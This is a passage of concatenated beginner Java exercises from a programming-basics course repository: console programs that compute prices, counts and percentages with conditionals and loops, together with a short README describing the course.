winPoints += 2000;
wins++;
} else if (result.equals("F")) {
startPoints += 1200;
winPoints += 1200;
} else if (result.equals("SF")) {
startPoints += 720;
winPoints += 720;
}
}
System.out.printf("Final points: %d%n", startPoints);
double average = winPoints * 1.0 / turniri;
System.out.printf("Average points: %.0f%n", Math.floor(average));
double procent = (wins * 1.0 / turniri) * 100;
System.out.printf("%.2f%%", procent);
}
}
<file_sep>import java.util.Scanner;
public class FishTank {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
double lenghtSm = Double.parseDouble(scanner.nextLine());
double widthSm = Double.parseDouble(scanner.nextLine());
double heightSm = Double.parseDouble(scanner.nextLine());
double parcent = Double.parseDouble(scanner.nextLine());
//V=a.b.c
double volume = lenghtSm * widthSm * heightSm;
double totalLitters = volume * 0.001;
double parcentSum = parcent * 0.01;
double total = totalLitters * (1 - parcentSum);
System.out.printf("%.2f", total);
}
}
<file_sep>public class test {
public static void main(String[] args) {
int numberInRange = 50;
double decimalNumber = 34;
String text = "Desi";
System.out.println(numberInRange);
}
}
<file_sep>import java.util.Scanner;
public class FitnessCenter_05 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
int peoples = Integer.parseInt(scanner.nextLine());
int back = 0;
int chest = 0;
int legs = 0;
int abs = 0;
int prShake = 0;
int prBar = 0;
int workOut = 0;
int protein = 0;
for (int people = 1; people <= peoples; people++) {
String input = scanner.nextLine();
if (input.equals("Back")) {
back++;
workOut++;
} else if (input.equals("Chest")) {
chest++;
workOut++;
} else if (input.equals("Legs")) {
legs++;
workOut++;
} else if (input.equals("Abs")) {
abs++;
workOut++;
} else if (input.equals("Protein shake")) {
prShake++;
protein++;
} else if (input.equals("Protein bar")) {
prBar++;
protein++;
}
}
System.out.printf("%d - back%n", back);
System.out.printf("%d - chest%n", chest);
System.out.printf("%d - legs%n", legs);
System.out.printf("%d - abs%n", abs);
System.out.printf("%d - protein shake%n", prShake);
System.out.printf("%d - protein bar%n", prBar);
System.out.printf("%.2f%% - work out%n", (workOut * 1.0 / peoples) * 100);
System.out.printf("%.2f%% - protein", (protein * 1.0 / peoples) * 100);
}
}
<file_sep>import java.util.Scanner;
public class Coins_05 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
double change = Double.parseDouble(scanner.nextLine());
double coins = change * 100;
int countCoins = 0;
// 2 - 1 - 0.50 - 0.20 - 0.10 - 0.05 - 0.02 - 0.01
while (coins > 0) {
if (coins >= 200) {
countCoins++;
coins -= 200;
} else if (coins >= 100) {
countCoins++;
coins -= 100;
} else if (coins >= 50) {
countCoins++;
coins -= 50;
} else if (coins >= 20) {
countCoins++;
coins -= 20;
} else if (coins >= 10) {
countCoins++;
coins -= 10;
} else if (coins >= 5) {
countCoins++;
coins -= 5;
} else if (coins >= 2) {
countCoins++;
coins -= 2;
} else if (coins >= 1) {
countCoins++;
coins -= 1;
} else {
break;
}
}
System.out.println(countCoins);
}
}
<file_sep>import java.util.Scanner;
public class OddEvenSum_10 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
int n = Integer.parseInt(scanner.nextLine());
int sumEvenPositions = 0; //сума на числата на четните
int sumOddPositions = 0; //сума на числата на нечетни
for (int number = 1; number <= n; number++) {
int value = Integer.parseInt(scanner.nextLine());
//ако позицията е нечетна
if (number % 2 ==1) {
sumOddPositions += value;
} else { //ако позицията е четна
sumEvenPositions += value;
}
}
if (sumEvenPositions == sumOddPositions) {
System.out.println("Yes");
System.out.println("Sum = " + sumEvenPositions);
} else {
System.out.println("No");
System.out.println("Diff = " + Math.abs(sumEvenPositions - sumOddPositions));
}
}
}
<file_sep>import java.util.Scanner;
public class SumNumber_07 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
//повтарямее: прочитаме от конзолата стойност на числото -> сумираме
//начало: 1-вото поред число
//край: n-тото поред число
//всеки път го увеличаваме с 1
int n = Integer.parseInt(scanner.nextLine());
int sum = 0; //сумата на числата
for (int number = 1; number <= n; number++) {
int value = Integer.parseInt(scanner.nextLine());
sum += value;
}
System.out.println(sum);
}
}
<file_sep>import java.util.Scanner;
public class ME_LetterCombination_02 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
char x1 = scanner.nextLine().charAt(0);
char x2 = scanner.nextLine().charAt(0);
char x3 = scanner.nextLine().charAt(0);
int counter = 0;
for (char a1 = x1; a1 <= x2; a1++) {
if (a1 == x3) {
continue;
}
for (char a2 = x1; a2 <= x2; a2++) {
if (a2 == x3) {
continue;
}
for (char a3 = x1; a3 <= x2; a3++) {
if (a3 == x3) {
continue;
}
System.out.printf("%c%c%c ", a1, a2, a3);
counter++;
}
}
}
System.out.println(counter);
}
}
<file_sep>import java.util.Scanner;
public class PuppyCare_05 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
int kg = Integer.parseInt(scanner.nextLine());
String input = scanner.nextLine();
int grm = kg * 1000;
int eat = 0;
while (!input.equals("Adopted")) {
int eatGrm = Integer.parseInt(input);
eat += eatGrm;
input = scanner.nextLine();
}
if (grm >= eat) {
System.out.printf("Food is enough! Leftovers: %d grams.", grm - eat);
} else {
System.out.printf("Food is not enough. You need %d grams more.", eat - grm);
}
}
}
<file_sep>import java.util.Scanner;
public class AreaFigures_06 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
//име на фигура -> квадрат (square), правоъгълник (rectangle), кръг (circle) и триъгълник (triangle)
String type = scanner.nextLine();
if (type.equals("square")) {
//страна на квадрата
//лице -> страна * страна
//отпечатваме до 3 знак
double a = Double.parseDouble(scanner.nextLine());
double squareArea = a * a;
System.out.printf("%.3f", squareArea);
} else if (type.equals("rectangle")) {
//страните на правоъгълник - 2 числа
//лице -> страната * другата страна
double sideA = Double.parseDouble(scanner.nextLine());
double sideB = Double.parseDouble(scanner.nextLine());
double rectangleAre = sideA * sideB;
System.out.printf("%.3f", rectangleAre);
} else if (type.equals("circle")) {
//радиус
//радиус -> Пи * радиус * радиус
double radius = Double.parseDouble(scanner.nextLine());
double circleArea = Math.PI * radius * radius;
System.out.printf("%.3f", circleArea);
} else if (type.equals("triangle")) {
//страна и височина
//страната * височина / 2
double b = Double.parseDouble(scanner.nextLine());
double hb = Double.parseDouble(scanner.nextLine());
double triangleArea = b * hb / 2;
System.out.printf("%.3f", triangleArea);
}
}
}
<file_sep>import java.util.Scanner;
public class Cinema_01 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
String type = scanner.nextLine();
int rows = Integer.parseInt(scanner.nextLine());
int colls = Integer.parseInt(scanner.nextLine());
int allSeats = rows * colls;
double totalResult = 0;
switch (type) {
case "Premiere":
totalResult = allSeats * 12.0;
break;
case "Normal":
totalResult = allSeats * 7.50;
break;
case "Discount":
totalResult = allSeats * 5.0;
break;
}
System.out.printf("%.2f leva", totalResult);
}
}
<file_sep>import java.util.Scanner;
public class ME_FlowerShop_16 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
int magnolii = Integer.parseInt(scanner.nextLine());
int ziombuli = Integer.parseInt(scanner.nextLine());
int rozi = Integer.parseInt(scanner.nextLine());
int kaktusi = Integer.parseInt(scanner.nextLine());
double present = Double.parseDouble(scanner.nextLine());
double totalPrice = (magnolii * 3.25) + (ziombuli * 4) + (rozi * 3.50) + (kaktusi * 8);
double danuk = totalPrice * 0.05;
double profit = totalPrice - danuk;
if (present <= profit) {
double needed = profit - present;
System.out.printf("She is left with %.0f leva.", Math.floor(needed));
} else if (present > profit) {
double left = present - profit;
System.out.printf("She will have to borrow %.0f leva.", Math.ceil(left));
}
}
}
<file_sep>import java.util.Scanner;
public class HairSalon_05 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
int target = Integer.parseInt(scanner.nextLine());
String input = scanner.nextLine();
int profit = 0;
while (!input.equals("closed")) {
String usluga = input;
if (usluga.equals("haircut")) {
String haircut = scanner.nextLine();
if (haircut.equals("mens")) {
profit += 15;
} else if (haircut.equals("ladies")) {
profit += 20;
} else if (haircut.equals("kids")) {
profit += 10;
}
} else if (usluga.equals("color")) {
String color = scanner.nextLine();
if (color.equals("touch up")) {
profit += 20;
} else if (color.equals("full color")) {
profit += 30;
}
}
if (profit >= target) {
break;
}
input = scanner.nextLine();
}
if (profit >= target) {
System.out.println("You have reached your target for the day!");
} else {
System.out.printf("Target not reached! You need %dlv. more.%n", target - profit);
}
System.out.printf("Earned money: %dlv.", profit);
}
}
<file_sep><p align="center">
<h2 align="center">Programming-Basics-with-Java</h2>
</p>

💻  -> The course started in february 2021 and it was two months.
After this I was able to do:
1. Work with the console - input and output
2. Make simple calculations
3. Work with conditions - if-else
4. Work with more logical checks
5. Work with loops (for)
6. Work with more complex loops (nested loops and while loops)
After that I received this Certificate:

Nothing special.
<file_sep>import java.util.Scanner;
public class Volleyball_09 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
String leapOrNormal = scanner.nextLine();
int p = Integer.parseInt(scanner.nextLine());
int h = Integer.parseInt(scanner.nextLine());
int sofia = 48 - h;
double gamesInSofia = sofia * (3.0 / 4);
double praznik = p * 2.0 / 3;
double totalGames = gamesInSofia + praznik+ h;
if (leapOrNormal.equals("leap")) {
totalGames = totalGames + (totalGames * 0.15);
System.out.printf("%.0f", Math.floor(totalGames));
} else if (leapOrNormal.equals("normal")) {
System.out.printf("%.0f", Math.floor(totalGames));
}
}
}
<file_sep>import java.util.Scanner;
public class MovieDays_02 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
int totalTime = Integer.parseInt(scanner.nextLine());
int scenes = Integer.parseInt(scanner.nextLine());
int timeScene = Integer.parseInt(scanner.nextLine());
double podgotovka = totalTime * 0.15;
double timeForScenes = scenes * timeScene;
double neededTime = podgotovka + timeForScenes;
if (totalTime >= neededTime) {
System.out.printf("You managed to finish the movie on time! You have %.0f minutes left!", totalTime - neededTime);
} else {
System.out.printf("Time is up! To complete the movie you need %.0f minutes.", neededTime - totalTime);
}
}
}
<file_sep>import java.util.Scanner;
public class GuessPassword_05 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
//1. парола -> String -> вход
//2. ако паролата е "sad29221d" -> Welcome
//3. -> в противен случай -> "Wrong password!"
String password = scanner.nextLine();
if (password.equals("<PASSWORD>")) {
System.out.println("Welcome");
} else {
System.out.println("Wrong password!");
}
}
}
<file_sep>import java.util.Scanner;
public class ME_ReportSystem_02 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
int money = Integer.parseInt(scanner.nextLine());
String input = scanner.nextLine();
int countDays = 0;
int moneyCS = 0;
int countCS = 0;
int moneyCC = 0;
int countCC = 0;
int total = 0;
while (!input.equals("End")) {
int item = Integer.parseInt(input);
countDays++;
if (countDays % 2 == 0) {
if (item < 10) {
System.out.println("Error in transaction!");
} else {
System.out.println("Product sold!");
moneyCC += item;
countCC++;
total += item;
}
} else {
if (item > 100) {
System.out.println("Error in transaction!");
} else {
System.out.println("Product sold!");
moneyCS += item;
countCS++;
total += item;
}
}
if (total >= money) {
break;
}
input = scanner.nextLine();
}
double averageCS = moneyCS * 1.0 / countCS;
double averageCC = moneyCC * 1.0 / countCC;
if (total >= money) {
System.out.printf("Average CS: %.2f%n", averageCS);
System.out.printf("Average CC: %.2f", averageCC);
} else {
System.out.println("Failed to collect required money for charity.");
}
}
}
<file_sep>import java.util.Scanner;
public class ToyShop100points_07 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
double priceTrip = Double.parseDouble(scanner.nextLine());
int countPuzzles = Integer.parseInt(scanner.nextLine());
int countDolls = Integer.parseInt(scanner.nextLine());
int countBears = Integer.parseInt(scanner.nextLine());
int countMinions = Integer.parseInt(scanner.nextLine());
int countTrucks = Integer.parseInt(scanner.nextLine());
double puzzlePrice = countPuzzles * 2.60;
double dollsPrice = countDolls * 3;
double bearsPrice = countBears * 4.10;
double minionsPrice = countMinions * 8.20;
double trucksPrice = countTrucks * 2;
double sum = puzzlePrice + dollsPrice + bearsPrice + minionsPrice + trucksPrice;
int countToys = countPuzzles + countDolls + countBears + countMinions + countTrucks;
if (countToys >= 50) {
sum = sum * 0.75;
}
double profit = sum * 0.9;
if (profit >= priceTrip) {
double moneyLeft = profit - priceTrip;
System.out.printf("Yes! %.2f lv left.", moneyLeft);
} else {
double moneyNeed = priceTrip - profit;
System.out.printf("Not enough money! %.2f lv needed.", moneyNeed);
}
}
}
<file_sep>import java.util.Scanner;
public class ME_BackToThePast_01 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
double money = Double.parseDouble(scanner.nextLine());
int yearUntilLives = Integer.parseInt(scanner.nextLine());
double moneySpend = 0.0;
int ageIvancho = 18;
for (int currentYear = 1800; currentYear <= yearUntilLives ; currentYear++) {
if (currentYear % 2 == 0) {
moneySpend += 12000;
ageIvancho++;
} else {
moneySpend += 12000 + (50 * (ageIvancho++));
}
}
if (money >= moneySpend) {
System.out.printf("Yes! He will live a carefree life and will have %.2f dollars left.", (money - moneySpend));
} else {
System.out.printf("He will need %.2f dollars to survive.", (moneySpend - money));
}
}
}
<file_sep>import java.util.Scanner;
public class Time15Minutes_05 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
int hour = Integer.parseInt(scanner.nextLine());
int minutes = Integer.parseInt(scanner.nextLine());
int totalMinutes = (hour * 60) + minutes + 15;
int newHour = totalMinutes / 60;
int newMinutes = totalMinutes % 60;
if (newHour < 24) {
System.out.printf("%d:%02d", newHour, newMinutes);
} else {
newHour = 0;
System.out.printf("%d:%02d", newHour, newMinutes);
}
}
}
<file_sep>import java.util.Scanner;
public class ME_CarToGo_04 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
double budget = Double.parseDouble(scanner.nextLine());
String season = scanner.nextLine();
double kabrio = 0;
double djip = 0;
if (budget <= 100) {
if (season.equals("Summer")) {
kabrio = budget * 0.35;
System.out.println("Economy class");
System.out.printf("Cabrio - %.2f", kabrio);
} else if (season.equals("Winter")) {
djip = budget * 0.65;
System.out.println("Economy class");
System.out.printf("Jeep - %.2f", djip);
}
} else if (budget > 100 && budget <= 500) {
if (season.equals("Summer")) {
kabrio = budget * 0.45;
System.out.println("Compact class");
System.out.printf("Cabrio - %.2f", kabrio);
} else if (season.equals("Winter")) {
djip = budget * 0.80;
System.out.println("Compact class");
System.out.printf("Jeep - %.2f", djip);
}
} else if (budget > 500) {
if (season.equals("Winter") || season.equals("Summer")) {
djip = budget * 0.90;
System.out.println("Luxury class");
System.out.printf("Jeep - %.2f", djip);
}
}
}
}
<file_sep>import java.util.Scanner;
public class ME_Pets_15 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
int days = Integer.parseInt(scanner.nextLine());
int foodLeft = Integer.parseInt(scanner.nextLine());
double foodDog = Double.parseDouble(scanner.nextLine());
double foodCat = Double.parseDouble(scanner.nextLine());
double foodFranklin = Double.parseDouble(scanner.nextLine());
double needFoodDog = foodDog * days;
double needFoodCat = foodCat * days;
double needFoodFranklin = foodFranklin * days / 1000;
double totalFoodNeeded = needFoodDog + needFoodCat + needFoodFranklin;
if (totalFoodNeeded <= foodLeft) {
double left = foodLeft - totalFoodNeeded;
System.out.printf("%.0f kilos of food left.", Math.floor(left));
} else if (totalFoodNeeded > foodLeft) {
double left1 = totalFoodNeeded - foodLeft;
System.out.printf("%.0f more kilos of food are needed.", Math.ceil(left1));
}
}
}
<file_sep>import java.util.Scanner;
public class OldBooks_01 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
String titleBook = scanner.nextLine();
String input = scanner.nextLine();
int countBook = 0;
boolean wasFound = false;
while (!input.equals("No More Books")) {
if (titleBook.equals(input)) {
wasFound = true;
break;
}
countBook++;
input = scanner.nextLine();
}
if (wasFound) {
System.out.printf("You checked %d books and found it.", countBook);
} else {
System.out.println("The book you search is not here!");
System.out.printf("You checked %d books.", countBook);
}
}
}
<file_sep>import java.util.Scanner;
public class WorldSnookerChampionship_03 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
String typeOfChampionship = scanner.nextLine().toLowerCase();
String typeOfTicket = scanner.nextLine().toLowerCase();
int countOfTickets = Integer.parseInt(scanner.nextLine());
String pictureWithTrophy = scanner.nextLine().toLowerCase();
double totalPrice = 0;
double picturePrice = 0;
switch (typeOfChampionship){
case "final":
if (typeOfTicket.equals("premium")){
totalPrice = countOfTickets * 160.66;
}
else if (typeOfTicket.equals("standard")) {
totalPrice = countOfTickets * 110.10;
}
else if (typeOfTicket.equals("vip")) {
totalPrice = countOfTickets * 400;
}
break;
case "semi final":
if (typeOfTicket.equals("premium")){
totalPrice = countOfTickets * 125.22;
}
else if (typeOfTicket.equals("standard")) {
totalPrice = countOfTickets * 75.88;
}
else if (typeOfTicket.equals("vip")) {
totalPrice = countOfTickets * 300.40;
}
break;
case "quarter final":
if (typeOfTicket.equals("premium")){
totalPrice = countOfTickets * 105.20;
}
else if (typeOfTicket.equals("standard")) {
totalPrice = countOfTickets * 55.50;
}
else if (typeOfTicket.equals("vip")) {
totalPrice = countOfTickets * 118.90;
}
break;
default:{
break;
}
}
if (totalPrice > 4000) {
totalPrice = 0.75 * totalPrice;
System.out.printf("%.2f", totalPrice);
} else if (totalPrice > 2500) {
totalPrice *= 0.9;
if (pictureWithTrophy.equals("y")) {
picturePrice = countOfTickets * 40;
totalPrice += picturePrice;
System.out.printf("%.2f", totalPrice);
} else {
System.out.printf("%.2f", totalPrice);
}
} else {
if (pictureWithTrophy.equals("y")) {
picturePrice = countOfTickets * 40;
totalPrice += picturePrice;
System.out.printf("%.2f", totalPrice);
} else {
System.out.printf("%.2f", totalPrice);
}
}
}
}
<file_sep>import java.util.Scanner;
public class OscarsWeekInCinema_03 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
String movieName = scanner.nextLine();
String typeHall = scanner.nextLine();
int countTickets = Integer.parseInt(scanner.nextLine());
double priceTicket = 0;
switch (movieName) {
case "A Star Is Born":
if (typeHall.equals("normal")) {
priceTicket = 7.50;
} else if (typeHall.equals("luxury")){
priceTicket = 10.50;
} else if (typeHall.equals("ultra luxury")) {
priceTicket = 13.50;
}
break;
case "Bohemian Rhapsody":
if (typeHall.equals("normal")) {
priceTicket = 7.35;
} else if (typeHall.equals("luxury")){
priceTicket = 9.45;
} else if (typeHall.equals("ultra luxury")) {
priceTicket = 12.75;
}
break;
case "Green Book":
if (typeHall.equals("normal")) {
priceTicket = 8.15;
} else if (typeHall.equals("luxury")){
priceTicket = 10.25;
} else if (typeHall.equals("ultra luxury")) {
priceTicket = 13.25;
}
break;
case "The Favourite":
if (typeHall.equals("normal")) {
priceTicket = 8.75;
} else if (typeHall.equals("luxury")){
priceTicket = 11.55;
} else if (typeHall.equals("ultra luxury")) {
priceTicket = 13.95;
}
break;
}
double profit = countTickets * priceTicket;
System.out.printf("%s -> %.2f lv.", movieName, profit);
}
}
<file_sep>import java.util.Scanner;
public class ME_GameOfIntervals_05 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
int n = Integer.parseInt(scanner.nextLine());
double first = 0.0;
double second = 0.0;
double third = 0.0;
double forth = 0.0;
double fifth = 0.0;
double unvalid = 0.0;
double points = 0.0;
for (int vhod = 1; vhod <= n; vhod++) {
int nextImput = Integer.parseInt(scanner.nextLine());
if (nextImput >= 0 && nextImput <=9) {
points += nextImput * 0.20;
first++;
} else if (nextImput >= 10 && nextImput <= 19) {
points += nextImput * 0.30;
second++;
} else if (nextImput >= 20 && nextImput <= 29) {
points += nextImput * 0.40;
third++;
} else if (nextImput >= 30 && nextImput <= 39) {
points += 50;
forth++;
} else if (nextImput >= 40 && nextImput <= 50) {
points += 100;
fifth++;
} else if (nextImput < 0 || nextImput > 50) {
points = points / 2;
unvalid++;
}
}
double procentFirst = first / n * 100;
double procentSecond = second / n * 100;
double procentThird = third/ n * 100;
double procentFourth = forth / n * 100;
double procentFifth = fifth / n * 100;
double procentUnvalid = unvalid / n * 100;
System.out.printf("%.2f%n", points);
System.out.printf("From 0 to 9: %.2f%%%n", procentFirst);
System.out.printf("From 10 to 19: %.2f%%%n", procentSecond);
System.out.printf("From 20 to 29: %.2f%%%n", procentThird);
System.out.printf("From 30 to 39: %.2f%%%n", procentFourth);
System.out.printf("From 40 to 50: %.2f%%%n", procentFifth);
System.out.printf("Invalid numbers: %.2f%%", procentUnvalid);
}
}
<file_sep>import java.util.Scanner;
public class TrainTheTrainers_04 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
int n = Integer.parseInt(scanner.nextLine());
String input = scanner.nextLine();
double totalSumGrades = 0;
int countGrades = 0;
while (!input.equals("Finish")) {
String presentationName = input;
double sumCurrentGrades = 0;
for (int i = 1; i <= n; i++) {
double grade = Double.parseDouble(scanner.nextLine());
countGrades++;
sumCurrentGrades += grade;
}
totalSumGrades += sumCurrentGrades;
System.out.printf("%s - %.2f.%n", presentationName, sumCurrentGrades / n);
input = scanner.nextLine();
}
System.out.printf("Student's final assessment is %.2f.", totalSumGrades / countGrades);
}
}
<file_sep>import java.util.Scanner;
public class Read_Text_01 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
while (true) {
String name = scanner.nextLine();
if (name.equals("Stop")) {
break;
}
System.out.println(name);
}
}
}
<file_sep>import javax.swing.*;
import java.util.Scanner;
public class Scholarship_08 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
double incomeBGN = Double.parseDouble(scanner.nextLine());
double avGrade = Double.parseDouble(scanner.nextLine());
double minSalary = Double.parseDouble(scanner.nextLine());
double socScholarship = 0;
double scholarship = 0;
if (avGrade <= 4.50) {
System.out.println("You cannot get a scholarship!");
} else if (avGrade < 5.50) {
if (incomeBGN < minSalary) {
socScholarship = Math.floor(0.35 * minSalary);
System.out.printf("You get a Social scholarship %.0f BGN", socScholarship);
} else {
System.out.println("You cannot get a scholarship!");
}
} else {
scholarship = Math.floor(avGrade * 25);
if (incomeBGN < minSalary) socScholarship = Math.floor(0.35 * minSalary);
if (socScholarship > scholarship) {
System.out.printf("You get a Social scholarship %.0f BGN", socScholarship);
} else {
System.out.printf("You get a scholarship for excellent results %.0f BGN", scholarship);
}
}
}
}
<file_sep>import java.util.Scanner;
public class NumbersFrom1to100_01 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
//повтаряме: принтираме числото -> увеличавам с 1
//начало: 1
//край: 100
for (int number = 1; number <= 100; number += 1 ) {
System.out.println(number);
}
}
}
<file_sep>import java.util.Scanner;
public class ME_CarNumber_04 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
int n = Integer.parseInt(scanner.nextLine());
int m = Integer.parseInt(scanner.nextLine());
for (int i = n; i <= m; i++) {
for (int j = n; j <= m; j++) {
for (int k = n; k <= m; k++) {
for (int l = n; l <= m; l++) {
if (i % 2 == 0 && l % 2 !=0 || i % 2 != 0 && l % 2 == 0) {
if (i > l) {
if ((j + k) % 2 == 0) {
System.out.printf("%d%d%d%d ", i, j, k, l);
}
}
}
}
}
}
}
}
}
<file_sep>import java.util.Scanner;
public class GodzillaVsKong_06 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
double budget = Double.parseDouble(scanner.nextLine());
int people = Integer.parseInt(scanner.nextLine());
double priceOneClothes = Double.parseDouble(scanner.nextLine());
double decorMoney = budget * 0.10;
double sumClothes = people * priceOneClothes;
if (people > 150) {
sumClothes = sumClothes * 0.90;
}
double totalSum = decorMoney + sumClothes;
double diff = Math.abs(budget - totalSum);
if (totalSum > budget) {
System.out.println("Not enough money!");
System.out.printf("Wingard needs %.2f leva more.", diff);
} else {
System.out.println("Action!");
System.out.printf("Wingard starts filming with %.2f leva left.", diff);
}
}
}
<file_sep>import java.util.Scanner;
public class HalfSumElement_02 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
int n = Integer.parseInt(scanner.nextLine());
int max = Integer.MIN_VALUE;
int sum = 0;
for (int number = 1; number <= n; number++) {
int value = Integer.parseInt(scanner.nextLine());
sum += value;
if (value > max) {
max = value;
}
}
int sumWithoutMaxNumber = sum - max;
if (max == sumWithoutMaxNumber) {
System.out.println("Yes");
System.out.println("Sum = " + max);
} else {
int diff = Math.abs(max - sumWithoutMaxNumber);
System.out.println("No");
System.out.println("Diff = " + diff);
}
}
}
<file_sep>import java.util.Scanner;
public class ME_SchoolCamp_07 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
String season = scanner.nextLine();
String typeGroup = scanner.nextLine();
int students = Integer.parseInt(scanner.nextLine());
int nights = Integer.parseInt(scanner.nextLine());
double priceHotel = 0.0;
String sport = "";
if (typeGroup.equals("boys") || typeGroup.equals("girls")) {
if (season.equals("Winter")) {
priceHotel = (nights * 1.0) * 9.60 * (students * 1.0);
if (students >= 50) {
priceHotel = priceHotel - (priceHotel * 0.50);
} else if (students >= 20) {
priceHotel = priceHotel - (priceHotel * 0.15);
} else if (students >= 10) {
priceHotel = priceHotel - (priceHotel * 0.05);
}
if (typeGroup.equals("boys")) {
sport = "Judo";
} else {
sport = "Gymnastics";
}
System.out.printf("%s %.2f lv.", sport, priceHotel);
} else if (season.equals("Spring")) {
priceHotel = (nights * 1.0) * 7.20 * (students * 1.0);
if (students >= 50) {
priceHotel = priceHotel - (priceHotel * 0.50);
} else if (students >= 20) {
priceHotel = priceHotel - (priceHotel * 0.15);
} else if (students >= 10) {
priceHotel = priceHotel - (priceHotel * 0.05);
}
if (typeGroup.equals("boys")) {
sport = "Tennis";
} else {
sport = "Athletics";
}
System.out.printf("%s %.2f lv.", sport, priceHotel);
} else if (season.equals("Summer")) {
priceHotel = (nights * 1.0) * 15 * (students * 1.0);
if (students >= 50) {
priceHotel = priceHotel - (priceHotel * 0.50);
} else if (students >= 20) {
priceHotel = priceHotel - (priceHotel * 0.15);
} else if (students >= 10) {
priceHotel = priceHotel - (priceHotel * 0.05);
}
if (typeGroup.equals("boys")) {
sport = "Football";
} else {
sport = "Volleyball";
}
System.out.printf("%s %.2f lv.", sport, priceHotel);
}
} else if (typeGroup.equals("mixed")) {
if (season.equals("Winter")) {
priceHotel = (nights * 1.0) * 10 * (students * 1.0);
if (students >= 50) {
priceHotel = priceHotel - (priceHotel * 0.50);
} else if (students >= 20) {
priceHotel = priceHotel - (priceHotel * 0.15);
} else if (students >= 10) {
priceHotel = priceHotel - (priceHotel * 0.05);
}
sport = "Ski";
System.out.printf("%s %.2f lv.", sport, priceHotel);
} else if (season.equals("Spring")) {
priceHotel = (nights * 1.0) * 9.50 * (students * 1.0);
if (students >= 50) {
priceHotel = priceHotel - (priceHotel * 0.50);
} else if (students >= 20) {
priceHotel = priceHotel - (priceHotel * 0.15);
} else if (students >= 10) {
priceHotel = priceHotel - (priceHotel * 0.05);
}
sport = "Cycling";
System.out.printf("%s %.2f lv.", sport, priceHotel);
} else if (season.equals("Summer")) {
priceHotel = (nights * 1.0) * 20 * (students * 1.0);
if (students >= 50) {
priceHotel = priceHotel - (priceHotel * 0.50);
} else if (students >= 20) {
priceHotel = priceHotel - (priceHotel * 0.15);
} else if (students >= 10) {
priceHotel = priceHotel - (priceHotel * 0.05);
}
sport = "Swimming";
System.out.printf("%s %.2f lv.", sport, priceHotel);
}
}
}
}
<file_sep>import java.util.Scanner;
public class ExamPreparation_02 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
int maxLowGrade = Integer.parseInt(scanner.nextLine());
String input = scanner.nextLine();
double sumGrades = 0.0;
int problemsCount = 0;
String lastProblemName = "";
int countLowGrade = 0;
//boolean flag = false;
while (!input.equals("Enough")) {
String problemName = input;
int grade = Integer.parseInt(scanner.nextLine());
if (grade <= 4) {
countLowGrade++;
}
if (countLowGrade >= maxLowGrade) {
//flag = true;
break;
}
sumGrades += grade;
lastProblemName = problemName;
problemsCount++;
input = scanner.nextLine();
}
//if (flag) { true and else is false }
if (countLowGrade == maxLowGrade) {
System.out.printf("You need a break, %d poor grades.", countLowGrade);
} else {
System.out.printf("Average score: %.2f%n", sumGrades / problemsCount);
System.out.printf("Number of problems: %d%n", problemsCount);
System.out.printf("Last problem: %s", lastProblemName);
}
}
}
<file_sep>import java.util.Scanner;
public class Series_05 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
double budget = Double.parseDouble(scanner.nextLine());
int n = Integer.parseInt(scanner.nextLine());
for (int serial = 1; serial <= n; serial++) {
String name = scanner.nextLine();
double price = Double.parseDouble(scanner.nextLine());
if (name.equals("Thrones")) {
price = price * 0.50;
budget -= price;
} else if (name.equals("Lucifer")) {
price = price * 0.60;
budget -= price;
} else if (name.equals("Protector")) {
price = price * 0.70;
budget -= price;
} else if (name.equals("TotalDrama")) {
price = price * 0.80;
budget -= price;
} else if (name.equals("Area")) {
price = price * 0.90;
budget -= price;
} else {
budget -= price;
}
}
if (budget >= 0) {
System.out.printf("You bought all the series and left with %.2f lv.", budget);
} else {
System.out.printf("You need %.2f lv. more to buy the series!", Math.abs(budget));
}
}
}
<file_sep>import java.util.Scanner;
public class EasterShop_04 {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
int eggsInShop = Integer.parseInt(scanner.nextLine());
String input = scanner.nextLine();
int soldEggs = 0;
while (!input.equals("Close")) {
if (input.equals("Buy")) {
int buyEggs = Integer.parseInt(scanner.nextLine());
if (eggsInShop < buyEggs) {
System.out.println("Not enough eggs in store!");
System.out.printf("You can buy only %d.", eggsInShop);
break;
} else {
eggsInShop -= buyEggs;
soldEggs += buyEggs;
}
} else if (input.equals("Fill")) {
int buyEggs = Integer.parseInt(scanner.nextLine());
eggsInShop += buyEggs;
}
input = scanner.nextLine();
}
if (input.equals("Close")) {
System.out.println("Store is closed!");
System.out.printf("%d eggs sold.", soldEggs);
}
}
}
